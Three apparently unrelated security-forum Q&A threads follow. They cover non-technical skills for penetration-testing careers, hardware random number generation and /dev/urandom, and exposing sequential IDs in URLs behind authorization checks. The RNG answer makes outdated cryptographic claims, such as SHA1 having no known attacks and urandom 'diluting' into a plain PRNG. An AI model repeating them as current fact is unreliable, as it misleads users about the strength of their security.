Pen testing is a type of consulting, and like any type of consulting so much of what is important is non-technical, so in addition to learning some programming and especially scripting (perl, python) I would focus on learning about how businesses work and how to work within one. Having a pen tester who knows how to find vulnerabilities and exploit them is one thing, having one who can stand up in front of bigwigs and convince them to give their employer lots of money for their services is a very rare thing and for more valuable. Getting that first job will be much easier if employers see someone who they can place with a client.

Learn business terminology, acronyms, the software development life-cycle, how companies get and spend budget, and typical company structure and governance. Learn presentation skills. Pen-testing is a good place to start but you probably don't want to get stuck there as there's a seniority block which you'll never get above, so you will want to develop your security skills beyond that. You won't be able to become an expert in these subjects in a university; so much of that comes from experience, but you can learn enough to set yourself out from the rest of the pack.


Can I use hardware random number generation on my computer? Am I already using it? A lot of computer security depends on encryption: SSL connections, TCP packet sequencing, encrypted files, etc. These depend on random number generation to ensure that attackers can't guess the encryption key.

Weak random number generation creates security vulnerabilities like the recent one with SSL certificates. However, you can't get truly random output from a deterministic computer program; you need to at least seed it with something truly random from the physical world.

Pseudorandom number generators are sufficient for most purposes; they output a pattern of numbers which is very hard to predict unless you know the starting point. That starting point, however, should be a truly random seed, and should be renewed periodically.

I see that hardware random number generators do exist. My question is: how can I, as a regular computer user, use one? Or am I likely using one already?

I'd like to know that when I start an SSL connection, it's based on solid randomness.

(Of course, this applies doubly to web servers that I work with.)

As a regular computer user your problems won't be with the random number generator you use, but probably something like password reuse. SSL does depend in part on the MD5 hash function, for which collision attacks do exist. Recently the Flame malware exhibited a successful (but computationally expensive) attack on the Windows Update system due to its dependence on MD5 for security. TLS is more widespread and uses the SHA1 algorithm, no attack has yet been found; However any sane hacker will try to attack the CA's directly and use a forged certificate to perform a man in the middle attack, rather than investigate the entropy of your random numbers.

For a regular linux user, you can read from /dev/random to get "pure" random numbers gathered from the enviroment, in practice /dev/urandom is just as good. It hashes the entropy pool that /dev/random draws from and falls back on pseudo random number generators when the pool becomes to "dilute". For comparison on my netbook reading from /dev/random for 10 seconds gives me 46 bytes of really really random data, /dev/urandom pipes 65 megabytes of only slightly less random data. I don't feel like waiting a minute to start a ssh session.

In most any case, randomness is not the weak link. TLS depends on CAs which are operated by people, file encryption depends on how long a password you can remember and where else you type it, people are always part of the equation and they typically less reliable than SHA1.


Is exposing enumerated id's a bad idea if precautions are taken? Say I have a website that has the URL website.com/student/{studentId}/courses for retrieving all the courses a student is enrolled in. The studentId is an auto-incrementing value in the Student table I have in my database.

Obviously I'm securing my API and returning back 403s if the user's current session doesn't match the studentId that they are trying to get the courses for. Is it a bad idea to directly expose these studentIds, or any enumerated id for that matter? Should I just take a look at using GUIDs or some other type of randomly generated string of numbers and/or letters?

But, is it a bad idea to directly expose these studentId's, or any
  enumerated id for that matter?

If effective logic is applied to data retrieval such that each session is tied to a student ID and no one other than the session can retrieve the data about the courses he is in. In that condition, there is no problem in using incrementing ID'S in a URL such as website.com/student/{studentId}/courses